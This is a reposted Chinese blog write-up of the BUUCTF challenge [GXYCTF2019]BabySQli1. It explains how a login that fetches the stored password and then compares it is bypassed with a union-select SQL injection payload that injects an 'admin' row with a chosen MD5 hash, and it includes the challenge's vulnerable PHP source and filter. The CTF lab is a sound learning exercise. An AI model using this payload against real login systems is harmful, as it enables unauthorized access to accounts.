码迷,mamicode.com
首页 > Web开发 > 详细

php后台验证两种方式绕过

时间:2020-12-01 12:30:43      阅读:8      评论:0      收藏:0      [点我收藏+]

标签:博客   word   方式   技术   验证   printf   select   根据   image   

php后台验证两种方式绕过

前言

  • 环境:buuctf中[GXYCTF2019]BabySQli1
  • 知识点:两种验证方式,密码绕过
  • 参考:博客

做题

sql注入,fuzz过滤了(,),=,or

然后就琢磨着都过滤了(),函数都不能用,还怎么进行sql注入

尝试着成功登录进去

1‘||1 like 1# !!!,没有成功登进去,这说明后台查询方式不是类似

where user=‘‘ and password=‘‘

这题给了源码

用户登录两种业务查询方式

一种是直接对用户输入的账号名和密码进行查询

技术图片
技术图片

另一种是针对用户输入的账号名进行查询对应的密码,再和用户输入的密码做比较

技术图片
技术图片

根据题目的源码,显然是第二种

要绕过第二种可以利用union select

构造name=mi‘union select 1,‘admin‘,‘b6d767d2f8ed5d21a44b0e5886680cb9‘#&pw=22 成功绕过

拿到flag

部分源码

if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo ‘<pre>‘;
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

php后台验证两种方式绕过

标签:博客   word   方式   技术   验证   printf   select   根据   image   

原文地址:https://www.cnblogs.com/NineOne/p/14044572.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!